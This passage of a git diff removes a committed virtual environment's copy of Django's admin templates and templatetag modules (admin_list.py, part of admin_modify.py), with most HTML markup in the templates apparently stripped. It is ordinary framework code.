    -{% block submit-row %} -{% if show_save %}{% endif %} -{% if show_save_as_new %}{% endif %} -{% if show_save_and_add_another %}{% endif %} -{% if show_save_and_continue %}{% endif %} -{% if show_close %} - {% url opts|admin_urlname:'changelist' as changelist_url %} - {% translate 'Close' %} -{% endif %} -{% if show_delete_link and original %} - {% url opts|admin_urlname:'delete' original.pk|admin_urlquote as delete_url %} - {% translate "Delete" %} -{% endif %} -{% endblock %} -
    diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/clearable_file_input.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/clearable_file_input.html deleted file mode 100644 index 8b42f192..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/clearable_file_input.html +++ /dev/null @@ -1,6 +0,0 @@ -{% if widget.is_initial %}

    {{ widget.initial_text }}: {{ widget.value }}{% if not widget.required %} - - -{% endif %}
    -{{ widget.input_text }}:{% endif %} -{% if widget.is_initial %}

    {% endif %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/date.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/date.html deleted file mode 100644 index acd5d5fc..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/date.html +++ /dev/null @@ -1,3 +0,0 @@ -

    - {% include "django/forms/widgets/date.html" %} -

    diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/foreign_key_raw_id.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/foreign_key_raw_id.html deleted file mode 100644 index a6eba931..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/foreign_key_raw_id.html +++ /dev/null @@ -1,2 +0,0 @@ -{% if related_url %}
    {% endif %}{% include 'django/forms/widgets/input.html' %}{% if related_url %}{% endif %}{% if link_label %} -{% if link_url %}{{ link_label }}{% else %}{{ link_label }}{% endif %}{% endif %}{% if related_url %}
    {% endif %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/many_to_many_raw_id.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/many_to_many_raw_id.html deleted file mode 100644 index 0dd0331d..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/many_to_many_raw_id.html +++ /dev/null @@ -1 +0,0 @@ -{% include 'admin/widgets/foreign_key_raw_id.html' %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/radio.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/radio.html deleted file mode 100644 index 780899af..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/radio.html +++ /dev/null @@ -1 +0,0 @@ -{% include "django/forms/widgets/multiple_input.html" %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/related_widget_wrapper.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/related_widget_wrapper.html deleted file mode 100644 index 9251527a..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/related_widget_wrapper.html +++ /dev/null @@ -1,41 +0,0 @@ -{% load i18n static %} - diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/split_datetime.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/split_datetime.html deleted file mode 100644 index 7fc7bf68..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/split_datetime.html +++ /dev/null @@ -1,4 +0,0 @@ -

    - {{ date_label }} {% with widget=widget.subwidgets.0 %}{% include widget.template_name %}{% endwith %}
    - {{ time_label }} {% with widget=widget.subwidgets.1 %}{% include widget.template_name %}{% endwith %} -

    diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/time.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/time.html deleted file mode 100644 index e4eaca61..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/time.html +++ /dev/null @@ -1,3 +0,0 @@ -

    - {% include "django/forms/widgets/time.html" %} -

    diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/url.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/url.html deleted file mode 100644 index 69dc401b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/widgets/url.html +++ /dev/null @@ -1 +0,0 @@ -{% if url_valid %}

    {{ current_label }} {{ widget.value }}
    {{ change_label }} {% endif %}{% include "django/forms/widgets/input.html" %}{% if url_valid %}

    {% endif %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/logged_out.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/logged_out.html deleted file mode 100644 index e9a55450..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/logged_out.html +++ /dev/null @@ -1,14 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n %} - -{% block breadcrumbs %}{% endblock %} - -{% block nav-sidebar %}{% endblock %} - -{% block content %} - -

    {% translate "Thanks for spending some quality time with the web site today." %}

    - -

    {% translate 'Log in again' %}

    - -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_change_done.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_change_done.html deleted file mode 100644 index 784ab372..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_change_done.html +++ /dev/null @@ -1,20 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n %} -{% block userlinks %} - {% url 'django-admindocs-docroot' as docsroot %}{% if docsroot %}{% translate 'Documentation' %} / {% endif %}{% translate 'Change password' %} / -
    - {% csrf_token %} - -
    - {% include "admin/color_theme_toggle.html" %} -{% endblock %} -{% block breadcrumbs %} - -{% endblock %} - -{% block content %} -

    {% translate 'Your password was changed.' %}

    -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_change_form.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_change_form.html deleted file mode 100644 index 3d66aeb1..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_change_form.html +++ /dev/null @@ -1,66 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n static %} - -{% block title %}{% if form.errors %}{% translate "Error:" %} {% endif %}{{ block.super }}{% endblock %} -{% block extrastyle %}{{ block.super }}{% endblock %} -{% block userlinks %} - {% url 'django-admindocs-docroot' as docsroot %}{% if docsroot %}{% translate 'Documentation' %} / {% endif %} {% translate 'Change password' %} / -
    - {% csrf_token %} - -
    - {% include "admin/color_theme_toggle.html" %} -{% endblock %} -{% block breadcrumbs %} - -{% endblock %} - -{% block content %}
    - -
    {% csrf_token %} -
    -{% if form.errors %} -

    - {% blocktranslate count counter=form.errors.items|length %}Please correct the error below.{% plural %}Please correct the errors below.{% endblocktranslate %} -

    -{% endif %} - - -

    {% translate 'Please enter your old password, for security’s sake, and then enter your new password twice so we can verify you typed it in correctly.' %}

    - -
    - -
    - {{ form.old_password.errors }} -
    {{ form.old_password.label_tag }} {{ form.old_password }}
    -
    - -
    - {{ form.new_password1.errors }} -
    {{ form.new_password1.label_tag }} {{ form.new_password1 }}
    - {% if form.new_password1.help_text %} -
    {{ form.new_password1.help_text|safe }}
    - {% endif %} -
    - -
    - {{ form.new_password2.errors }} -
    {{ form.new_password2.label_tag }} {{ form.new_password2 }}
    - {% if form.new_password2.help_text %} -
    {{ form.new_password2.help_text|safe }}
    - {% endif %} -
    - -
    - -
    - -
    - -
    -
    - -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_reset_complete.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_reset_complete.html deleted file mode 100644 index e6a383fc..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_reset_complete.html +++ /dev/null @@ -1,17 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n %} - -{% block breadcrumbs %} - -{% endblock %} - -{% block content %} - -

    {% translate "Your password has been set. You may go ahead and log in now." %}

    - -

    {% translate 'Log in' %}

    - -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_reset_confirm.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_reset_confirm.html deleted file mode 100644 index 5e1478be..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_reset_confirm.html +++ /dev/null @@ -1,48 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n static %} - -{% block title %}{% if form.new_password1.errors or form.new_password2.errors %}{% translate "Error:" %} {% endif %}{{ block.super }}{% endblock %} -{% block extrastyle %}{{ block.super }}{% endblock %} -{% block breadcrumbs %} - -{% endblock %} - -{% block content %} - -{% if validlink %} - -

    {% translate "Please enter your new password twice so we can verify you typed it in correctly." %}

    - -
    {% csrf_token %} -
    - -
    - {{ form.new_password1.errors }} -
    - - {{ form.new_password1 }} -
    -
    -
    - {{ form.new_password2.errors }} -
    - - {{ form.new_password2 }} -
    -
    -
    -
    - -
    -
    - -{% else %} - -

    {% translate "The password reset link was invalid, possibly because it has already been used. Please request a new password reset." %}

    - -{% endif %} - -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_reset_done.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_reset_done.html deleted file mode 100644 index 8b1971a7..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_reset_done.html +++ /dev/null @@ -1,17 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n %} - -{% block breadcrumbs %} - -{% endblock %} - -{% block content %} - -

    {% translate 'We’ve emailed you instructions for setting your password, if an account exists with the email you entered. You should receive them shortly.' %}

    - -

    {% translate 'If you don’t receive an email, please make sure you’ve entered the address you registered with, and check your spam folder.' %}

    - -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_reset_email.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_reset_email.html deleted file mode 100644 index 2a428c48..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_reset_email.html +++ /dev/null @@ -1,14 +0,0 @@ -{% load i18n %}{% autoescape off %} -{% blocktranslate %}You're receiving this email because you requested a password reset for your user account at {{ site_name }}.{% endblocktranslate %} - -{% translate "Please go to the following page and choose a new password:" %} -{% block reset_link %} -{{ protocol }}://{{ domain }}{% url 'password_reset_confirm' uidb64=uid token=token %} -{% endblock %} -{% translate 'In case you’ve forgotten, you are:' %} {{ user.get_username }} - -{% translate "Thanks for using our site!" %} - -{% blocktranslate %}The {{ site_name }} team{% endblocktranslate %} - -{% endautoescape %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_reset_form.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_reset_form.html deleted file mode 100644 index e12189af..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/registration/password_reset_form.html +++ /dev/null @@ -1,32 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n static %} - -{% block title %}{% if form.email.errors %}{% translate "Error:" %} {% endif %}{{ block.super }}{% endblock %} -{% block extrastyle %}{{ block.super }}{% endblock %} -{% block breadcrumbs %} - -{% endblock %} - -{% block content %} - -

    {% translate 'Forgotten your password? Enter your email address below, and we’ll email instructions for setting a new one.' %}

    - -
    {% csrf_token %} -
    -
    - {{ form.email.errors }} -
    - - {{ form.email }} -
    -
    -
    -
    - -
    -
    - -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__init__.py b/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 0c9db7d4..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/admin_list.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/admin_list.cpython-311.pyc deleted file mode 100644 index b8bb0a4e..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/admin_list.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/admin_modify.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/admin_modify.cpython-311.pyc deleted file mode 100644 index 7e874408..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/admin_modify.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/admin_urls.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/admin_urls.cpython-311.pyc deleted file mode 100644 index 48499024..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/admin_urls.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/base.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/base.cpython-311.pyc deleted file mode 100644 index be9c444d..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/base.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/log.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/log.cpython-311.pyc deleted file mode 100644 index c975eae3..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/__pycache__/log.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/admin_list.py b/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/admin_list.py deleted file mode 100644 index 6615e98b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/admin_list.py +++ /dev/null @@ -1,544 +0,0 @@ -import datetime - -from django.contrib.admin.templatetags.admin_urls import add_preserved_filters -from django.contrib.admin.utils import ( - display_for_field, - display_for_value, - get_fields_from_path, - label_for_field, - lookup_field, -) -from django.contrib.admin.views.main import ( - ALL_VAR, - IS_FACETS_VAR, - IS_POPUP_VAR, - ORDER_VAR, - PAGE_VAR, - SEARCH_VAR, -) -from django.core.exceptions import ObjectDoesNotExist -from django.db import models -from django.db.models.constants import LOOKUP_SEP -from django.template import Library -from django.template.loader import get_template -from django.templatetags.static import static -from django.urls import NoReverseMatch -from django.utils import formats, timezone -from django.utils.html import format_html -from django.utils.safestring import mark_safe -from django.utils.text import capfirst -from django.utils.translation import gettext as _ - -from .base import InclusionAdminNode - -register = Library() - - -@register.simple_tag -def paginator_number(cl, i): - """ - Generate an individual page index link in a paginated list. - """ - if i == cl.paginator.ELLIPSIS: - return format_html("{} ", cl.paginator.ELLIPSIS) - elif i == cl.page_num: - return format_html('{} ', i) - else: - return format_html( - '{} ', - cl.get_query_string({PAGE_VAR: i}), - mark_safe(' class="end"' if i == cl.paginator.num_pages else ""), - i, - ) - - -def pagination(cl): - """ - Generate the series of links to the pages in a paginated list. - """ - pagination_required = (not cl.show_all or not cl.can_show_all) and cl.multi_page - page_range = ( - cl.paginator.get_elided_page_range(cl.page_num) if pagination_required else [] - ) - need_show_all_link = cl.can_show_all and not cl.show_all and cl.multi_page - return { - "cl": cl, - "pagination_required": pagination_required, - "show_all_url": need_show_all_link and cl.get_query_string({ALL_VAR: ""}), - "page_range": page_range, - "ALL_VAR": ALL_VAR, - "1": 1, - } - - -@register.tag(name="pagination") -def pagination_tag(parser, token): - return InclusionAdminNode( - parser, - token, - func=pagination, - template_name="pagination.html", - takes_context=False, - ) - - -def result_headers(cl): - """ - Generate the list column headers. - """ - ordering_field_columns = cl.get_ordering_field_columns() - for i, field_name in enumerate(cl.list_display): - text, attr = label_for_field( - field_name, cl.model, model_admin=cl.model_admin, return_attr=True - ) - is_field_sortable = cl.sortable_by is None or field_name in cl.sortable_by - if attr: - field_name = _coerce_field_name(field_name, i) - # Potentially not sortable - - # if the field is the action checkbox: no sorting and special class - if field_name == "action_checkbox": - aria_label = _("Select all objects on this page for an action") - yield { - "text": mark_safe( - f'' - ), - "class_attrib": mark_safe(' class="action-checkbox-column"'), - "sortable": False, - } - continue - - admin_order_field = getattr(attr, "admin_order_field", None) - # Set ordering for attr that is a property, if defined. - if isinstance(attr, property) and hasattr(attr, "fget"): - admin_order_field = getattr(attr.fget, "admin_order_field", None) - if not admin_order_field and LOOKUP_SEP not in field_name: - is_field_sortable = False - - if not is_field_sortable: - # Not sortable - yield { - "text": text, - "class_attrib": format_html(' class="column-{}"', field_name), - "sortable": False, - } - continue - - # OK, it is sortable if we got this far - th_classes = ["sortable", "column-{}".format(field_name)] - order_type = "" - new_order_type = "asc" - sort_priority = 0 - # Is it currently being sorted on? - is_sorted = i in ordering_field_columns - if is_sorted: - order_type = ordering_field_columns.get(i).lower() - sort_priority = list(ordering_field_columns).index(i) + 1 - th_classes.append("sorted %sending" % order_type) - new_order_type = {"asc": "desc", "desc": "asc"}[order_type] - - # build new ordering param - o_list_primary = [] # URL for making this field the primary sort - o_list_remove = [] # URL for removing this field from sort - o_list_toggle = [] # URL for toggling order type for this field - - def make_qs_param(t, n): - return ("-" if t == "desc" else "") + str(n) - - for j, ot in ordering_field_columns.items(): - if j == i: # Same column - param = make_qs_param(new_order_type, j) - # We want clicking on this header to bring the ordering to the - # front - o_list_primary.insert(0, param) - o_list_toggle.append(param) - # o_list_remove - omit - else: - param = make_qs_param(ot, j) - o_list_primary.append(param) - o_list_toggle.append(param) - o_list_remove.append(param) - - if i not in ordering_field_columns: - o_list_primary.insert(0, make_qs_param(new_order_type, i)) - - yield { - "text": text, - "sortable": True, - "sorted": is_sorted, - "ascending": order_type == "asc", - "sort_priority": sort_priority, - "url_primary": cl.get_query_string({ORDER_VAR: ".".join(o_list_primary)}), - "url_remove": cl.get_query_string({ORDER_VAR: ".".join(o_list_remove)}), - "url_toggle": cl.get_query_string({ORDER_VAR: ".".join(o_list_toggle)}), - "class_attrib": ( - format_html(' class="{}"', " ".join(th_classes)) if th_classes else "" - ), - } - - -def _boolean_icon(field_val): - icon_url = static( - "admin/img/icon-%s.svg" % {True: "yes", False: "no", None: "unknown"}[field_val] - ) - return format_html('{}', icon_url, field_val) - - -def _coerce_field_name(field_name, field_index): - """ - Coerce a field_name (which may be a callable) to a string. - """ - if callable(field_name): - if field_name.__name__ == "": - return "lambda" + str(field_index) - else: - return field_name.__name__ - return field_name - - -def items_for_result(cl, result, form): - """ - Generate the actual list of data. - """ - - def link_in_col(is_first, field_name, cl): - if cl.list_display_links is None: - return False - if is_first and not cl.list_display_links: - return True - return field_name in cl.list_display_links - - first = True - pk = cl.lookup_opts.pk.attname - for field_index, field_name in enumerate(cl.list_display): - empty_value_display = cl.model_admin.get_empty_value_display() - row_classes = ["field-%s" % _coerce_field_name(field_name, field_index)] - link_to_changelist = link_in_col(first, field_name, cl) - try: - f, attr, value = lookup_field(field_name, result, cl.model_admin) - except ObjectDoesNotExist: - result_repr = empty_value_display - else: - empty_value_display = getattr( - attr, "empty_value_display", empty_value_display - ) - if isinstance(value, str) and value.strip() == "": - value = "" - if f is None or f.auto_created: - if field_name == "action_checkbox": - row_classes = ["action-checkbox"] - boolean = getattr(attr, "boolean", False) - # Set boolean for attr that is a property, if defined. - if isinstance(attr, property) and hasattr(attr, "fget"): - boolean = getattr(attr.fget, "boolean", False) - result_repr = display_for_value(value, empty_value_display, boolean) - if isinstance(value, (datetime.date, datetime.time)): - row_classes.append("nowrap") - else: - if isinstance(f.remote_field, models.ManyToOneRel): - field_val = getattr(result, f.name) - if field_val is None: - result_repr = empty_value_display - else: - result_repr = field_val - else: - result_repr = display_for_field( - value, - f, - empty_value_display, - avoid_link=link_to_changelist, - ) - if isinstance( - f, (models.DateField, models.TimeField, models.ForeignKey) - ): - row_classes.append("nowrap") - row_class = mark_safe(' class="%s"' % " ".join(row_classes)) - # If list_display_links not defined, add the link tag to the first field - if link_to_changelist: - table_tag = "th" if first else "td" - first = False - - # Display link to the result's change_view if the url exists, else - # display just the result's representation. - try: - url = cl.url_for_result(result) - except NoReverseMatch: - link_or_text = result_repr - else: - url = add_preserved_filters( - {"preserved_filters": cl.preserved_filters, "opts": cl.opts}, url - ) - # Convert the pk to something that can be used in JavaScript. - # Problem cases are non-ASCII strings. - if cl.to_field: - attr = str(cl.to_field) - else: - attr = pk - value = result.serializable_value(attr) - link_or_text = format_html( - '{}', - url, - ( - format_html(' data-popup-opener="{}"', value) - if cl.is_popup - else "" - ), - result_repr, - ) - - yield format_html( - "<{}{}>{}", table_tag, row_class, link_or_text, table_tag - ) - else: - # By default the fields come from ModelAdmin.list_editable, but if we pull - # the fields out of the form instead of list_editable custom admins - # can provide fields on a per request basis - if ( - form - and field_name in form.fields - and not ( - field_name == cl.model._meta.pk.name - and form[cl.model._meta.pk.name].is_hidden - ) - ): - bf = form[field_name] - result_repr = mark_safe(str(bf.errors) + str(bf)) - yield format_html("{}", row_class, result_repr) - if form and not form[cl.model._meta.pk.name].is_hidden: - yield format_html("{}", form[cl.model._meta.pk.name]) - - -class ResultList(list): - """ - Wrapper class used to return items in a list_editable changelist, annotated - with the form object for error reporting purposes. Needed to maintain - backwards compatibility with existing admin templates. - """ - - def __init__(self, form, *items): - self.form = form - super().__init__(*items) - - -def results(cl): - if cl.formset: - for res, form in zip(cl.result_list, cl.formset.forms): - yield ResultList(form, items_for_result(cl, res, form)) - else: - for res in cl.result_list: - yield ResultList(None, items_for_result(cl, res, None)) - - -def result_hidden_fields(cl): - if cl.formset: - for res, form in zip(cl.result_list, cl.formset.forms): - if form[cl.model._meta.pk.name].is_hidden: - yield mark_safe(form[cl.model._meta.pk.name]) - - -def result_list(cl): - """ - Display the headers and data list together. - """ - headers = list(result_headers(cl)) - num_sorted_fields = 0 - for h in headers: - if h["sortable"] and h["sorted"]: - num_sorted_fields += 1 - return { - "cl": cl, - "result_hidden_fields": list(result_hidden_fields(cl)), - "result_headers": headers, - "num_sorted_fields": num_sorted_fields, - "results": list(results(cl)), - } - - -@register.tag(name="result_list") -def result_list_tag(parser, token): - return InclusionAdminNode( - parser, - token, - func=result_list, - template_name="change_list_results.html", - takes_context=False, - ) - - -def date_hierarchy(cl): - """ - Display the date hierarchy for date drill-down functionality. - """ - if cl.date_hierarchy: - field_name = cl.date_hierarchy - field = get_fields_from_path(cl.model, field_name)[-1] - if isinstance(field, models.DateTimeField): - dates_or_datetimes = "datetimes" - else: - dates_or_datetimes = "dates" - year_field = "%s__year" % field_name - month_field = "%s__month" % field_name - day_field = "%s__day" % field_name - field_generic = "%s__" % field_name - year_lookup = cl.params.get(year_field) - month_lookup = cl.params.get(month_field) - day_lookup = cl.params.get(day_field) - - def link(filters): - return cl.get_query_string(filters, [field_generic]) - - if not (year_lookup or month_lookup or day_lookup): - # select appropriate start level - date_range = cl.queryset.aggregate( - first=models.Min(field_name), last=models.Max(field_name) - ) - if date_range["first"] and date_range["last"]: - if dates_or_datetimes == "datetimes": - date_range = { - k: timezone.localtime(v) if timezone.is_aware(v) else v - for k, v in date_range.items() - } - if date_range["first"].year == date_range["last"].year: - year_lookup = date_range["first"].year - if date_range["first"].month == date_range["last"].month: - month_lookup = date_range["first"].month - - if year_lookup and month_lookup and day_lookup: - day = datetime.date(int(year_lookup), int(month_lookup), int(day_lookup)) - return { - "show": True, - "back": { - "link": link({year_field: year_lookup, month_field: month_lookup}), - "title": capfirst(formats.date_format(day, "YEAR_MONTH_FORMAT")), - }, - "choices": [ - {"title": capfirst(formats.date_format(day, "MONTH_DAY_FORMAT"))} - ], - } - elif year_lookup and month_lookup: - days = getattr(cl.queryset, dates_or_datetimes)(field_name, "day") - return { - "show": True, - "back": { - "link": link({year_field: year_lookup}), - "title": str(year_lookup), - }, - "choices": [ - { - "link": link( - { - year_field: year_lookup, - month_field: month_lookup, - day_field: day.day, - } - ), - "title": capfirst(formats.date_format(day, "MONTH_DAY_FORMAT")), - } - for day in days - ], - } - elif year_lookup: - months = getattr(cl.queryset, dates_or_datetimes)(field_name, "month") - return { - "show": True, - "back": {"link": link({}), "title": _("All dates")}, - "choices": [ - { - "link": link( - {year_field: year_lookup, month_field: month.month} - ), - "title": capfirst( - formats.date_format(month, "YEAR_MONTH_FORMAT") - ), - } - for month in months - ], - } - else: - years = getattr(cl.queryset, dates_or_datetimes)(field_name, "year") - return { - "show": True, - "back": None, - "choices": [ - { - "link": link({year_field: str(year.year)}), - "title": str(year.year), - } - for year in years - ], - } - - -@register.tag(name="date_hierarchy") -def date_hierarchy_tag(parser, token): - return InclusionAdminNode( - parser, - token, - func=date_hierarchy, - template_name="date_hierarchy.html", - takes_context=False, - ) - - -def search_form(cl): - """ - Display a search form for searching the list. - """ - return { - "cl": cl, - "show_result_count": cl.result_count != cl.full_result_count, - "search_var": SEARCH_VAR, - "is_popup_var": IS_POPUP_VAR, - "is_facets_var": IS_FACETS_VAR, - } - - -@register.tag(name="search_form") -def search_form_tag(parser, token): - return InclusionAdminNode( - parser, - token, - func=search_form, - template_name="search_form.html", - takes_context=False, - ) - - -@register.simple_tag -def admin_list_filter(cl, spec): - tpl = get_template(spec.template) - return tpl.render( - { - "title": spec.title, - "choices": list(spec.choices(cl)), - "spec": spec, - } - ) - - -def admin_actions(context): - """ - Track the number of times the action field has been rendered on the page, - so we know which value to use. - """ - context["action_index"] = context.get("action_index", -1) + 1 - return context - - -@register.tag(name="admin_actions") -def admin_actions_tag(parser, token): - return InclusionAdminNode( - parser, token, func=admin_actions, template_name="actions.html" - ) - - -@register.tag(name="change_list_object_tools") -def change_list_object_tools_tag(parser, token): - """Display the row of change list object tools.""" - return InclusionAdminNode( - parser, - token, - func=lambda context: context, - template_name="change_list_object_tools.html", - ) diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/admin_modify.py b/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/admin_modify.py deleted file mode 100644 index 0e3046ae..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/admin_modify.py +++ /dev/null @@ -1,150 +0,0 @@ -import json - -from django import template -from django.template.context import Context - -from .base import InclusionAdminNode - -register = template.Library() - - -def prepopulated_fields_js(context): - """ - Create a list of prepopulated_fields that should render JavaScript for - the prepopulated fields for both the admin form and inlines. - """ - prepopulated_fields = [] - if "adminform" in context: - prepopulated_fields.extend(context["adminform"].prepopulated_fields) - if "inline_admin_formsets" in context: - for inline_admin_formset in context["inline_admin_formsets"]: - for inline_admin_form in inline_admin_formset: - if inline_admin_form.original is None: - prepopulated_fields.extend(inline_admin_form.prepopulated_fields) - - prepopulated_fields_json = [] - for field in prepopulated_fields: - prepopulated_fields_json.append( - { - "id": "#%s" % field["field"].auto_id, - "name": field["field"].name, - "dependency_ids": [ - "#%s" % dependency.auto_id for dependency in field["dependencies"] - ], - "dependency_list": [ - dependency.name for dependency in field["dependencies"] - ], - "maxLength": field["field"].field.max_length or 50, - "allowUnicode": getattr(field["field"].field, "allow_unicode", False), - } - ) - - context.update( - { - "prepopulated_fields": prepopulated_fields, - "prepopulated_fields_json": json.dumps(prepopulated_fields_json), - } - ) - return context - - -@register.tag(name="prepopulated_fields_js") -def prepopulated_fields_js_tag(parser, token): - return InclusionAdminNode( - parser, - token, - func=prepopulated_fields_js, - template_name="prepopulated_fields_js.html", - ) - - -def submit_row(context): - """ - Display the row of buttons for delete and save. - """ - add = context["add"] - change = context["change"] - is_popup = context["is_popup"] - save_as = context["save_as"] - show_save = context.get("show_save", True) - show_save_and_add_another = context.get("show_save_and_add_another", True) - show_save_and_continue = context.get("show_save_and_continue", True) - has_add_permission = context["has_add_permission"] - has_change_permission = context["has_change_permission"] - has_view_permission = context["has_view_permission"] - has_editable_inline_admin_formsets = context["has_editable_inline_admin_formsets"] - can_save = ( - (has_change_permission and change) - or (has_add_permission and add) - or has_editable_inline_admin_formsets - ) - can_save_and_add_another = ( - has_add_permission - and not is_popup - and (not save_as or add) - and can_save - and show_save_and_add_another - ) - can_save_and_continue = ( - not is_popup and can_save and has_view_permission and show_save_and_continue - ) - can_change = has_change_permission or has_editable_inline_admin_formsets - ctx = Context(context) - ctx.update( - { - "can_change": can_change, - "show_delete_link": ( - not is_popup - and context["has_delete_permission"] - and change - and context.get("show_delete", True) - ), - "show_save_as_new": not is_popup - and has_add_permission - and change - and save_as, - "show_save_and_add_another": can_save_and_add_another, - "show_save_and_continue": can_save_and_continue, - "show_save": show_save and can_save, - "show_close": not (show_save and can_save), - } - ) - return ctx - - -@register.tag(name="submit_row") -def submit_row_tag(parser, token): - return InclusionAdminNode( - parser, token, func=submit_row, template_name="submit_line.html" - ) - - -@register.tag(name="change_form_object_tools") -def change_form_object_tools_tag(parser, token): - """Display the row of change form object tools.""" - return InclusionAdminNode( - parser, - token, - func=lambda context: context, - template_name="change_form_object_tools.html", - ) - - -@register.filter -def cell_count(inline_admin_form): - """Return the number of cells used in a tabular inline.""" - count = 1 # Hidden cell with hidden 'id' field - for fieldset in inline_admin_form: - # Count all visible fields. - for line in fieldset: - for field in line: - try: - is_hidden = 